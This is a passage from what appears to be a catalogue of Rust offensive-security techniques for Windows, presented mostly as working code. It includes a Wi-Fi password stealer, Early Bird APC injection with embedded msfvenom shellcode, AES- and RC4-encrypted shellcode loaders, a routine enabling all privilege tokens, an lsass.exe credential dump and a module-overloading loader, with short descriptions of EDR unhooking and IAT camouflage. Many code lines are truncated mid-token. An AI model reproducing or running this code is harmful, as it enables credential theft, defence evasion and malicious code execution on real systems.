                (*wlan_profiles_ptr).ProfileInfo.as_ptr
(),
                (*wlan_profiles_ptr).dwNumberOfItems as
usize,
            );

            for profile in wlan_profile_list {
                let profile_info = String::from_utf16_lo
ssy(&profile.strProfileName)
                    .trim_matches('\0')
                    .to_string();
                let mut xml_data = PWSTR::null();
                let mut flag = WLAN_PROFILE_GET_PLAINTEX
T_KEY;
                result = WlanGetProfile(
                    wlan_handle,
                    &interface.InterfaceGuid,
                    PCWSTR(HSTRING::from(profile_info.cl
one()).as_ptr()),
                    None,
                    &mut xml_data,
```

```
                    Some(&mut flag),
                    None,
                );

                if result != ERROR_SUCCESS.0 {
                    WlanCloseHandle(wlan_handle, None);
                    panic!("WlanGetProfile Failed With E
rror: {}", result);
                }

                let mut len = 0;
                while *xml_data.0.offset(len) != 0 {
                    len += 1;
                }
                let xml_slice = std::slice::from_raw_par
ts(xml_data.0, len as usize);
                let xml = String::from_utf16_lossy(xml_s
lice);
                let mut reader = Reader::from_str(&xml);
                reader.trim_text(true);
                let mut in_shared_key = false;
                let mut key_material = String::new();

                loop {
                    match reader.read_event() {
                        Ok(Event::Start(ref e)) => {
                            if e.name() == quick_xml::na
me::QName(b"keyMaterial") {
                                in_shared_key = true;
                            }
                        }
                        Ok(Event::Text(ref e)) if in_sha
red_key => {
                            key_material = e.escape_asci
i().to_string();
                            in_shared_key = false;
```

```
                        }
                        Ok(Event::Eof) => break,
                        Err(e) => panic!("Error parsing
the XML: {:?}", e),
                        _ => (),
                    }
                }

                if !key_material.is_empty() {
                    println!("WIFI: {} | PASSWORD: {}",
profile_info, key_material);
                } else {
                    println!("WIFI {} | PASSWORD NOT FOU
ND.", profile_info);
                }
            }
        }
    }
}
```

▼ Early Bird APC Injection

It focuses on a variation of APC injection, executing code before the main process starts.

```
use std::ffi::c_void;
use windows::{
    core::{s, PSTR},
    Win32::{
        Foundation::CloseHandle,
        System::{
            Diagnostics::Debug::{DebugActiveProcessStop,
WriteProcessMemory},
            Memory::{
                VirtualAllocEx, VirtualProtectEx, MEM_CO
MMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE,
```

```
                PAGE_PROTECTION_FLAGS, PAGE_READWRITE,
            },
            Threading::{
                CreateProcessA, CreateRemoteThread, Queu
eUserAPC, SleepEx, DEBUG_PROCESS, INFINITE,
                PROCESS_INFORMATION, STARTUPINFOA,
            },
        },
    },
};

fn main() {
    // msfvenom -p windows/x64/exec CMD=notepad.exe -f r
ust
    let payload: [u8; 279] = [
        0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00,
0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,
        0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b,
0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
        0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48,
0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9,
        0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02,
0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
        0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48,
0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48,
        0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00,
0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
        0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40,
0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48,
        0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01,
0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
        0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1,
0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c,
        0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58,
0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
        0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40,
```

```
0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04,
        0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58,
0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
        0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52,
0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48,
        0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d,
0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01,
0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f,
        0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56,
0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
        0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c,
0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb,
        0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41,
0x89, 0xda, 0xff, 0xd5, 0x6e, 0x6f, 0x74,
        0x65, 0x70, 0x61, 0x64, 0x2e, 0x65, 0x78, 0x65,
0x00,
    ];

    unsafe {
        let mut si = STARTUPINFOA::default();
        let mut pi = PROCESS_INFORMATION::default();

        let _process = CreateProcessA(
            None,
            PSTR(s!("C:\\Windows\\System32\\calc.exe").a
s_ptr() as *mut u8), // File path
            None,
            None,
            false,
            DEBUG_PROCESS,
            None,
            None,
            &mut si,
            &mut pi,
        ).unwrap_or_else(|e| {
```

```
            panic!("[!] CreateProcessA Failed With Erro
r: {e}");
        });

        let hprocess = pi.hProcess;

        let hthread = CreateRemoteThread(hprocess, None,
0, Some(function), None, 0, None).unwrap_or_else(|e| {
            panic!("[!] CreateRemoteThread Failed With E
rror: {e}");
        });

        let address = VirtualAllocEx(
            hprocess,
            None,
            payload.len(),
            MEM_COMMIT | MEM_RESERVE,
            PAGE_READWRITE,
        );

        WriteProcessMemory(
            hprocess,
            address,
            payload.as_ptr() as _,
            payload.len(),
            None,
        ).unwrap_or_else(|e| {
            panic!("[!] WriteProcessMemory Failed With E
rror: {e}");
        });

        let mut oldprotect = PAGE_PROTECTION_FLAGS(0);
        VirtualProtectEx(
            hprocess,
            address,
            payload.len(),
```

```
            PAGE_EXECUTE_READWRITE,
            &mut oldprotect,
        ).unwrap_or_else(|e| {
            panic!("[!] VirtualProtectEx Failed With Err
or: {e}");
        });

        QueueUserAPC(std::mem::transmute(address), hthre
ad, 0);

        DebugActiveProcessStop(pi.dwProcessId);

        CloseHandle(hprocess);
        CloseHandle(hthread);
    }
}

unsafe extern "system" fn function(_param: *mut c_void)
-> u32 {
    SleepEx(INFINITE, true);

    return 0;
}
```

▼ Encryption AES (Shellcode)

Encrypting / Decrypting a shellcode using AES.

```
use libaes::Cipher;
use windows::Win32::System::{
    Memory::{VirtualAlloc, MEM_COMMIT, MEM_RESERVE, PAGE
_EXECUTE_READWRITE},
    Threading::{CreateThread, WaitForSingleObject, INFIN
ITE, THREAD_CREATION_FLAGS},
};
```

```
fn main() {
    // msfvenom -p windows/x64/exec CMD=calc.exe -f rust
    // Encrypted AES
    let buf: [u8; 288] = [
        183, 9, 129, 138, 142, 88, 247, 156, 147, 143, 8
8, 247, 154, 101, 185, 241, 196, 37, 81,
        252, 150, 90, 25, 59, 187, 138, 117, 18, 37, 69,
127, 125, 117, 3, 142, 222, 101, 91, 41,
        40, 91, 45, 110, 142, 171, 226, 111, 70, 244, 11
2, 199, 93, 223, 130, 150, 175, 220, 117,
        48, 77, 218, 66, 157, 81, 30, 125, 25, 26, 228,
61, 75, 244, 179, 190, 133, 124, 239, 200,
        30, 247, 142, 80, 222, 62, 222, 184, 218, 133, 1
21, 33, 100, 47, 173, 195, 71, 50, 106, 76,
        199, 27, 230, 193, 248, 227, 252, 138, 0, 188, 1
46, 159, 251, 71, 251, 156, 156, 94, 59,
        37, 184, 164, 56, 223, 76, 201, 118, 155, 182, 1
17, 194, 188, 230, 76, 197, 238, 250, 66,
        226, 20, 107, 143, 63, 249, 213, 59, 144, 218, 2
7, 113, 230, 213, 215, 127, 16, 230, 154,
        229, 143, 73, 186, 18, 173, 151, 202, 224, 190,
92, 95, 185, 214, 196, 253, 101, 228, 3,
        34, 209, 146, 53, 195, 46, 107, 214, 16, 146, 6
9, 146, 67, 98, 244, 108, 132, 234, 45, 194,
        238, 94, 17, 172, 156, 45, 206, 38, 221, 86, 88,
60, 173, 90, 175, 61, 230, 99, 117, 131,
        121, 84, 3, 254, 159, 185, 245, 220, 165, 244, 1
6, 51, 222, 32, 222, 13, 237, 85, 60, 230,
        22, 201, 39, 82, 126, 62, 33, 146, 29, 208, 158,
141, 195, 247, 130, 204, 211, 190, 199,
        188, 139, 202, 93, 131, 173, 173, 111, 23, 240,
235, 39, 214, 221, 96, 135, 56, 43, 239,
        222, 181, 196, 205, 96, 17, 156, 225, 222, 217,
210, 40, 130, 103, 208, 11,
    ];
```

```
    let key = b"SUPER_SECRET_PASSWORD_IMPOSSIBLE";
    let iv = b"This is 16 bytes";
    let cipher = Cipher::new_256(key);

    // Encryption methods
    // let encrypted = cipher.cbc_encrypt(iv, &buf);

    // println!("{:?}", encrypted);

    let buf = cipher.cbc_decrypt(iv, &buf);
    unsafe {
        let address = VirtualAlloc(
            Some(std::ptr::null()),
            buf.len(),
            MEM_COMMIT | MEM_RESERVE,
            PAGE_EXECUTE_READWRITE,
        );

        std::ptr::copy(buf.as_ptr(), address as _, buf.l
en());

        let hthread = CreateThread(
            Some(std::ptr::null()),
            0,
            std::mem::transmute(address),
            None,
            THREAD_CREATION_FLAGS(0),
            None,
        )
        .unwrap();

        WaitForSingleObject(hthread, INFINITE);
    }
}
```

▼ Encryption RC4 (Shellcode)

Encrypting / Decrypting a shellcode using RC4.

```
use rc4::{Rc4, KeyInit, StreamCipher};
use windows::Win32::System::{
    Memory::{VirtualAlloc, MEM_COMMIT, MEM_RESERVE, PAGE
_EXECUTE_READWRITE},
    Threading::{CreateThread, WaitForSingleObject, INFIN
ITE, THREAD_CREATION_FLAGS},
};

fn main() {
    // msfvenom -p windows/x64/exec CMD=calc.exe -f rust
    // Encrypted RC4
    let mut buf: [u8; 276] = [
        145, 3, 144, 190, 64, 219, 215, 244, 185, 133, 5
6, 168, 61, 89, 157, 138, 175, 87, 214,
        132, 4, 147, 251, 101, 135, 199, 210, 18, 58, 4
4, 91, 169, 37, 228, 167, 228, 4, 127, 81,
        204, 77, 75, 85, 236, 102, 100, 3, 77, 15, 44, 2
26, 163, 172, 24, 234, 61, 117, 189, 80,
        72, 91, 98, 111, 30, 12, 83, 13, 82, 103, 30, 7,
232, 231, 71, 7, 92, 165, 128, 88, 45,
        104, 56, 154, 203, 196, 95, 69, 248, 179, 125, 1
87, 129, 51, 163, 217, 40, 125, 254, 93,
        134, 197, 144, 108, 124, 22, 62, 122, 204, 187,
48, 69, 121, 212, 100, 173, 217, 53, 19,
        157, 248, 221, 67, 207, 169, 143, 67, 76, 130, 5
1, 158, 223, 164, 44, 234, 60, 48, 231,
        135, 80, 99, 26, 139, 181, 238, 206, 10, 48, 14
6, 202, 133, 79, 52, 120, 149, 131, 103, 29,
        250, 49, 86, 109, 213, 29, 224, 70, 61, 24, 124,
135, 118, 195, 138, 118, 65, 229, 244,
        138, 149, 97, 7, 185, 23, 53, 145, 159, 227, 17
7, 213, 14, 54, 130, 93, 224, 191, 144, 91,
```

```
        254, 163, 227, 19, 156, 82, 126, 143, 147, 153,
19, 34, 255, 254, 246, 253, 53, 217, 197,
        134, 103, 195, 238, 41, 223, 139, 1, 14, 230, 12
6, 1, 96, 226, 53, 5, 29, 171, 13, 160, 29,
        115, 253, 187, 63, 60, 192, 30, 86, 88, 8, 118,
151, 232, 83, 123, 133, 112, 35, 114, 224,
        5, 56, 203, 89, 155, 53, 213, 17, 180, 132, 230,
227, 172, 178, 153, 153, 222, 10, 213, 72,
    ];

    // Encrypted Methods
    // let mut rc4 = Rc4::new(b"SUPER_PASSWORD".into());
    // rc4.apply_keystream(&mut buf);

    // println!("{:?}", buf);

    let mut rc4 = Rc4::new(b"SUPER_PASSWORD".into());

    rc4.apply_keystream(&mut buf);

    unsafe {
        let address = VirtualAlloc(
            Some(std::ptr::null()),
            buf.len(),
            MEM_COMMIT | MEM_RESERVE,
            PAGE_EXECUTE_READWRITE,
        );

        std::ptr::copy(buf.as_ptr(), address as _, buf.l
en());

        let hthread = CreateThread(
            Some(std::ptr::null()),
            0,
            std::mem::transmute(address),
            None,
```

```
            THREAD_CREATION_FLAGS(0),
            None,
        )
        .unwrap();

        WaitForSingleObject(hthread, INFINITE);
    }
}
```

▼ Enumeration Process

Enumerating processes with Rust.

```
use sysinfo::{ProcessExt, System, SystemExt};

fn main() {
    let mut system = System::new_all();
    system.refresh_all();

    for (pid, process) in system.processes() {
        println!("Process: {} | PID: {}", process.name
(), pid);
    }
}
```

▼ Enable All Tokens

Enabling all privilege tokens.

```
use windows::Win32::Foundation::{HANDLE, LUID};
use windows::Win32::Security::{
    AdjustTokenPrivileges, LookupPrivilegeValueW, LUID_A
ND_ATTRIBUTES, SE_ASSIGNPRIMARYTOKEN_NAME,
    SE_AUDIT_NAME, SE_BACKUP_NAME, SE_CHANGE_NOTIFY_NAM
E, SE_CREATE_GLOBAL_NAME,
    SE_CREATE_PAGEFILE_NAME, SE_CREATE_PERMANENT_NAME, S
E_CREATE_SYMBOLIC_LINK_NAME,
```

```
    SE_CREATE_TOKEN_NAME, SE_DEBUG_NAME, SE_DELEGATE_SES
SION_USER_IMPERSONATE_NAME,
    SE_ENABLE_DELEGATION_NAME, SE_IMPERSONATE_NAME, SE_I
NCREASE_QUOTA_NAME,
    SE_INC_BASE_PRIORITY_NAME, SE_INC_WORKING_SET_NAME,
SE_LOAD_DRIVER_NAME, SE_LOCK_MEMORY_NAME,
    SE_MACHINE_ACCOUNT_NAME, SE_MANAGE_VOLUME_NAME, SE_P
RIVILEGE_ENABLED,
    SE_PROF_SINGLE_PROCESS_NAME, SE_RELABEL_NAME, SE_REM
OTE_SHUTDOWN_NAME, SE_RESTORE_NAME,
    SE_SECURITY_NAME, SE_SHUTDOWN_NAME, SE_SYNC_AGENT_NA
ME, SE_SYSTEMTIME_NAME,
    SE_SYSTEM_ENVIRONMENT_NAME, SE_SYSTEM_PROFILE_NAME,
SE_TAKE_OWNERSHIP_NAME, SE_TCB_NAME,
    SE_TIME_ZONE_NAME, SE_TRUSTED_CREDMAN_ACCESS_NAME, S
E_UNDOCK_NAME, SE_UNSOLICITED_INPUT_NAME,
    TOKEN_ADJUST_PRIVILEGES, TOKEN_PRIVILEGES, TOKEN_QUE
RY,
};
use windows::Win32::System::Threading::{GetCurrentProces
s, OpenProcessToken, Sleep};

fn main() {
    let tokens = vec![
        SE_ASSIGNPRIMARYTOKEN_NAME,
        SE_AUDIT_NAME,
        SE_BACKUP_NAME,
        SE_CHANGE_NOTIFY_NAME,
        SE_CREATE_GLOBAL_NAME,
        SE_CREATE_PAGEFILE_NAME,
        SE_CREATE_PERMANENT_NAME,
        SE_CREATE_SYMBOLIC_LINK_NAME,
        SE_CREATE_TOKEN_NAME,
        SE_DEBUG_NAME,
        SE_DELEGATE_SESSION_USER_IMPERSONATE_NAME,
        SE_ENABLE_DELEGATION_NAME,
```

```
        SE_IMPERSONATE_NAME,
        SE_INCREASE_QUOTA_NAME,
        SE_INC_BASE_PRIORITY_NAME,
        SE_INC_WORKING_SET_NAME,
        SE_LOAD_DRIVER_NAME,
        SE_LOCK_MEMORY_NAME,
        SE_MACHINE_ACCOUNT_NAME,
        SE_MANAGE_VOLUME_NAME,
        SE_PROF_SINGLE_PROCESS_NAME,
        SE_RELABEL_NAME,
        SE_REMOTE_SHUTDOWN_NAME,
        SE_RESTORE_NAME,
        SE_SECURITY_NAME,
        SE_SHUTDOWN_NAME,
        SE_SYNC_AGENT_NAME,
        SE_SYSTEMTIME_NAME,
        SE_SYSTEM_ENVIRONMENT_NAME,
        SE_SYSTEM_PROFILE_NAME,
        SE_TAKE_OWNERSHIP_NAME,
        SE_TCB_NAME,
        SE_TIME_ZONE_NAME,
        SE_TRUSTED_CREDMAN_ACCESS_NAME,
        SE_UNDOCK_NAME,
        SE_UNSOLICITED_INPUT_NAME,
    ];

    unsafe {
        let mut h_token = HANDLE::default();
        let mut token_privileges = TOKEN_PRIVILEGES {
            PrivilegeCount: 1,
            Privileges: [LUID_AND_ATTRIBUTES {
                Luid: LUID::default(),
                Attributes: SE_PRIVILEGE_ENABLED,
            }; 1],
        };
```

```
        let _ = OpenProcessToken(
            GetCurrentProcess(),
            TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
            &mut h_token,
        );
        for token in tokens {
            let _ = LookupPrivilegeValueW(
                None,
                token,
                &mut token_privileges.Privileges[0].Luid
as *mut LUID,
            );

            let _ = AdjustTokenPrivileges(h_token, fals
e, Some(&token_privileges), 0, None, None);
        }
    }
}
```

▼ Execute Command

Running commands with Rust.

```
use std::process::Command;

fn main() {
    #[cfg(target_os = "windows")] {
    let command = Command::new("powershell")
        .arg("-c")
        .arg("whoami")
        .output()
        .unwrap();
    println!("{}", String::from_utf8_lossy(&command.stdo
ut));
    let _ = Command::new("calc.exe").spawn();
```

```
    }

    #[cfg(target_os = "linux")] {
    let command = Command::new("/bin/bash")
        .arg("-c")
        .arg("id")
        .output()
        .unwrap();
    println!("{}", String::from_utf8_lossy(&command.stdo
ut));
    }
}
```

I

IAT Obfuscation

IAT obfuscation by replacing GetProcAddress and GetModuleHandle.

IAT Camouflage

Technique for exporting APIs (without executing them) in order to camouflage the IAT and avoid a malicious appearance.

L

LdrLoadDll Unhook

A proof of concept to inject a springboard to bypass EDR hooks and use LdrLoadDll.

Local Payload Execution

This project addresses the direct execution of malicious payloads in a system's local environment.

▼ Local Mapping Injection

Performing malicious code injection via memory mapping into local processes.

▼ Local Function Stomping Injection

It focuses on replacing locally running functions with malicious code, changing their default behavior.

▼ Local Thread Hijacking

This project deals with hijacking the threads of processes running on the local system to execute malicious code.

▼ M | N | O

▼ Minidump-rs

Dumping the lsass.exe process.

```
use std::{ffi::CString, process::exit, ptr::null_mut};
use sysinfo::{PidExt, ProcessExt, System, SystemExt};
use windows::core::PCSTR;
use windows::Win32::Foundation::{CloseHandle, HANDLE};
use windows::Win32::Storage::FileSystem::{
    CreateFileA, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, FIL
    FILE_SHARE_WRITE,
};
use windows::Win32::System::{
    Diagnostics::Debug::{
        MiniDumpWithFullMemory, MiniDumpWriteDump
    },
    Threading::{
        OpenProcess, PROCESS_ALL_ACCESS
    }
};
```

```
fn find_lsass() -> Result<u32, String> {
    let mut system = System::new_all();
    system.refresh_all();

    let lsass_processes: Vec<_> = system
        .processes()
        .values()
        .filter(|process| process.name().to_lowercase() ==
        .collect();

    for process in lsass_processes {
        println!("[i] LSASS process with PID found: {}", p

        return Ok(process.pid().as_u32());
    }

    return Err(String::from("Error finding lsass PID!"));
}

fn main() {
    unsafe {
        let pid_lsass = find_lsass().unwrap_or_else(|e| {
            panic!("[!] find_lsass Failed With Error: {e}"
        });

        let hprocess = OpenProcess(PROCESS_ALL_ACCESS, fal
            panic!("[!] OpenProcess Failed With Error: {e}
        });

        let path = CString::new("C:\\Windows\\Tasks\\lsass

        let hfile = CreateFileA(
            PCSTR(path.as_ptr() as *const u8),
            FILE_GENERIC_WRITE.0,
            FILE_SHARE_READ | FILE_SHARE_WRITE,
```

```
            Some(null_mut()),
            CREATE_ALWAYS,
            FILE_ATTRIBUTE_NORMAL,
            HANDLE(0),
        ).unwrap_or_else(|e| {
            panic!("[!] CreateFileA Failed With Error: {e}
        });

        println!("[+] HANDLE lsass.exe: {:?}", hprocess);
        println!("[+] PID: {:?}", pid_lsass);

        MiniDumpWriteDump(
            hprocess,
            pid_lsass,
            hfile,
            MiniDumpWithFullMemory,
            None,
            None,
            None,
        ).unwrap_or_else(|e| {
            panic!("[!] MiniDumpWriteDump Failed With Erro
        });

        println!("[+] lsass dump successful!");

        CloseHandle(hprocess);
        CloseHandle(hfile);
    }
}
```

▼ Module Overloading

Module Overloading is a technique that maps a target DLL and replaces its contents with an EXE / DLL file and then executes it.

▼ cmd.rs

```
use clap::Parser;

#[derive(Parser)]
#[clap(name="module_overloading", author="joaoviictorti
pub struct Args {
    #[clap(short, long, required = true, help = "Insert
    pub file: String,

    #[clap(short, long, help = "Insert the DLL to be ma
    pub dll: String,

    #[clap(short, long, help = "Insert the arguments fo
    pub args: Option<String>
}
```

▼ main.rs

```
#![allow(unused_assignments)]

mod utils;
mod cmd;

use std::{ffi::c_void, mem::size_of, ptr::null_mut};
use clap::Parser;
use cmd::Args;
use ntapi::ntmmapi::{NtMapViewOfSection, ViewShare};
use utils::{get_peb, image_ordinal, image_snap_by_ordin
use windows::core::PCSTR;
use windows::Wdk::Storage::FileSystem::NtCreateSection;
use windows::Win32::Foundation::{FARPROC, GENERIC_READ,
use windows::Win32::Storage::FileSystem::{FILE_ATTRIBUT
use windows::Win32::System::{
    Memory::*,
    SystemServices::*,
    Diagnostics::Debug::*,
```

```
    LibraryLoader::{LoadLibraryA, GetProcAddress},
    WindowsProgramming::IMAGE_THUNK_DATA64,
    Threading::RTL_USER_PROCESS_PARAMETERS
};

fn main() -> Result<(), String> {
    let args = Args::parse();

    let buffer = std::fs::read(&args.file).map_err(|e|
    let mut pe = initialize_pe(buffer)?;
    let module_dll  = load_dll(args.dll)?;
    load_exe(&mut pe, module_dll, args.args.as_deref().

    Ok(())
}

fn load_exe(pe: &mut PE, module_dll: *mut c_void, args:
    let address = unsafe {
        VirtualAlloc(
            None,
            (*pe.nt_header).OptionalHeader.SizeOfImage
            MEM_COMMIT | MEM_RESERVE,
            PAGE_READWRITE,
        )
    };

    if address.is_null() {
        return Err("VirtualAlloc Failed".to_string());
    }

    let mut tmp_section = pe.section_header;

    unsafe {
        for _ in 0..(*pe.nt_header).FileHeader.NumberOf
            let dst = (*tmp_section).VirtualAddress as
            let src_start = (*tmp_section).PointerToRaw
```

```
            let src_end = src_start + (*tmp_section).Si

            if src_end <= pe.file_buffer.len() {
                let src = &pe.file_buffer[src_start..sr
                std::ptr::copy_nonoverlapping(
                    src.as_ptr(),
                    address.offset(dst) as _,
                    src.len(),
                );

            } else {
                return Err("Section outside the buffer
            }

            tmp_section = (tmp_section as usize + size_
        }
    }

    fixing_iat(pe, address)?;

    let mut old_protect = PAGE_PROTECTION_FLAGS(0);
    unsafe {
        VirtualProtect(
            module_dll,
            (*pe.nt_header).OptionalHeader.SizeOfImage
            PAGE_READWRITE,
            &mut old_protect
        ).map_err(|e| format!("[!] VirtualProtect Faile
    };

    unsafe { std::ptr::copy_nonoverlapping(address, mod

    realoc_data(pe, module_dll)?;

    unsafe {
        VirtualProtect(
```

```
            module_dll,
            (*pe.nt_header).OptionalHeader.SizeOfHeader
            PAGE_READONLY,
            &mut old_protect
        ).map_err(|e| format!("[!] VirtualProtect (2) F
    };

    fixing_arguments(args);

    fixing_memory(pe, module_dll)?;

    let entrypoint = unsafe { (module_dll as usize + (*

    unsafe {
        if pe.is_dll {
            let func_exe =  std::mem::transmute::<_, Dl
            func_exe(HINSTANCE(address as isize), DLL_P
        } else {
            let func_dll =  std::mem::transmute::<_, Ex
            func_dll();
        }

    };

    Ok(())
}


///
/// Initializing the PE headers of the next target leve
///
fn initialize_pe(buffer: Vec<u8>) -> Result<PE, String>
    unsafe {
        let dos_header = buffer.as_ptr() as *mut IMAGE_
        if (*dos_header).e_magic != IMAGE_DOS_SIGNATURE
            return Err("Invalid DOS SIGNATURE".to_strin
```

```
        }

        let nt_header = (dos_header as usize + (*dos_he
        if (*nt_header).Signature != IMAGE_NT_SIGNATURE
            return Err("INVALID NT SIGNATURE".to_string
        }

        let mut section_header = (nt_header as usize +
        for i in 0..(*nt_header).FileHeader.NumberOfSec
            let section = (*section_header.add(i.into()
            let name = String::from_utf8(section.to_vec
            let name = name.trim_matches('\0');
            if name == ".text" {
                break;
            }
            section_header = (section_header as usize +
        }

        let pe = PE {
            file_buffer : buffer,
            nt_header : nt_header as *mut IMAGE_NT_HEAD
            section_header,
            is_dll : (*nt_header).FileHeader.Characteri
            entry_import_data : (*nt_header).OptionalHe
            entry_basereloc_data : (*nt_header).Optiona
        };

        Ok(pe)
    }


}

///
/// Map the DLL to the process
///
```

```
fn load_dll(dll: String) -> Result<*mut c_void, String>
    unsafe {
        let dll = std::ffi::CString::new(dll).unwrap().
        let h_file = CreateFileA(
            PCSTR(dll as _),
            GENERIC_READ.0,
            FILE_SHARE_MODE(0),
            None,
            OPEN_EXISTING,
            FILE_ATTRIBUTE_NORMAL,
            None,
        );

        if h_file.is_err() {
            return Err(format!("CreateFileA Failed With
        }

        let mut section = HANDLE::default();
        let status = NtCreateSection(
            &mut section,
            SECTION_ALL_ACCESS.0,
            None,
            None,
            PAGE_READONLY.0,
            SEC_IMAGE.0,
            h_file.unwrap(),
        );

        if status != STATUS_SUCCESS {
            return Err(format!("NtCreateSection Failed
        }

        let mut mapped_module: *mut ntapi::winapi::ctyp
        let mut view_size = 0;
        let status = NtMapViewOfSection(
            section.0 as _,
```

```
            0xffffffffffffffffu64 as _,
            &mut mapped_module,
            0,
            0,
            null_mut(),
            &mut view_size,
            ViewShare,
            0,
            PAGE_EXECUTE_READWRITE.0,
        );

        if status != 0 {
            return Err(format!("NtMapViewOfSection Fail
        }

        let dos_header = mapped_module as *mut IMAGE_DO
        let nt_header = (mapped_module as usize + (*dos
        if (*nt_header).Signature != IMAGE_NT_SIGNATURE
            return Err("IMAGE SIGNATURE INVALID".to_str
        }

        Ok(mapped_module as *mut c_void)
    }
}

///
/// Create the PE address relationship
///
fn realoc_data(pe: &mut PE, address: *mut c_void) -> Re
    unsafe {
        let mut base_relocation = address.offset(pe.ent
        let offset = address.wrapping_sub((*pe.nt_heade
        while (*base_relocation).VirtualAddress != 0 {
            let mut base_entry = base_relocation.offset
            let block_end = (base_relocation as *mut u8
```

```
            while base_entry < block_end {
                let entry = *base_entry;
                let entry_type = entry.type_();
                let entry_offset = entry.offset() as u3
                let target_address = address.wrapping_a

                match entry_type as u32 {
                    IMAGE_REL_BASED_DIR64 => {
                        let patch_address = target_addr
                        *patch_address += offset as isi
                    }
                    IMAGE_REL_BASED_HIGHLOW => {
                        let patch_address = target_addr
                        *patch_address = patch_address.
                    }
                    IMAGE_REL_BASED_HIGH => {
                        let patch_address = target_addr
                        let high = (*patch_address as u
                        *patch_address = high as u16
                    }
                    IMAGE_REL_BASED_LOW => {
                        let patch_address = target_addr
                        let low = (*patch_address as u3
                        *patch_address = low as u16;
                    }
                    IMAGE_REL_BASED_ABSOLUTE => {}
                    _ => {
                        return Err("Unknown relocation
                    }
                }

                base_entry = base_entry.offset(1);
            }

            base_relocation = base_entry as *mut IMAGE_
        }
```

```
    }

    Ok(())
}

///
/// Solving the IAT by loading the DLLs into the proces
///
fn fixing_iat(pe: &PE, address: *mut c_void) -> Result<
    unsafe {
        let entries = (pe.entry_import_data.Size as usi
        let img_import_descriptor = address.offset(pe.e

        for i in 0..entries {
            let img_import_descriptor = img_import_desc
            let original_first_chunk_rva = (*img_import
            let first_thunk_rva = (*img_import_descript
            if original_first_chunk_rva == 0 && first_t
                break;
            }

            let dll_name = address.offset((*img_import_
            let mut thunk_size = 0;
            let h_module = LoadLibraryA(PCSTR(dll_name

            loop {
                let original_first_chunk = address.offs
                let first_thunk = address.offset(first_
                if (*original_first_chunk).u1.Function
                    break;
                }

                let mut func_address: FARPROC = Default
                let mut name: *const i8 = null_mut();

                if image_snap_by_ordinal((*original_fir
```

```
                    let ordinal = image_ordinal((*origi
                    func_address = GetProcAddress(h_mod
                } else {
                    let image_import_name = address.off
                    name = &(*image_import_name).Name a
                    func_address = GetProcAddress(h_mod
                }

                match func_address {
                    Some(f) => {
                        (*first_thunk).u1.Function =  f
                    },
                    None => {
                        return Err(format!("The expecte
                    }
                }

                thunk_size += size_of::<IMAGE_THUNK_DAT
            }
        }
    }

    Ok(())
}

///
/// Defining memory permissions for each section.
///
fn fixing_memory(pe: &mut PE, address: *mut c_void) ->
    unsafe {
        for _ in 0..(*pe.nt_header).FileHeader.NumberOf
            let mut protection = PAGE_PROTECTION_FLAGS(
            let image_section_characteristics = IMAGE_S
            if (*pe.section_header).SizeOfRawData == 0
                continue;
            }
```

```
            if (*pe.section_header).Characteristics & I
                protection = PAGE_WRITECOPY
            }

            if (*pe.section_header).Characteristics & I
                protection = PAGE_READONLY
            }

            if (*pe.section_header).Characteristics & I
                && (*pe.section_header).Characteristics
                protection = PAGE_READWRITE
            }

            if (*pe.section_header).Characteristics & I
                protection = PAGE_EXECUTE
            }

            if (*pe.section_header).Characteristics & I
                && (*pe.section_header).Characteristics
                protection = PAGE_EXECUTE_WRITECOPY
            }

            if (*pe.section_header).Characteristics & I
                && (*pe.section_header).Characteristics
                    protection = PAGE_EXECUTE_READ
            }

            if (*pe.section_header).Characteristics & I
                && (*pe.section_header).Characteristics
                && (*pe.section_header).Characteristics
                    protection = PAGE_EXECUTE_READWRITE
            }

            let mut old_protect = PAGE_PROTECTION_FLAGS
            VirtualProtect(
```

```
                address.offset((*pe.section_header).Vir
                (*pe.section_header).SizeOfRawData as u
                protection,
                &mut old_protect,
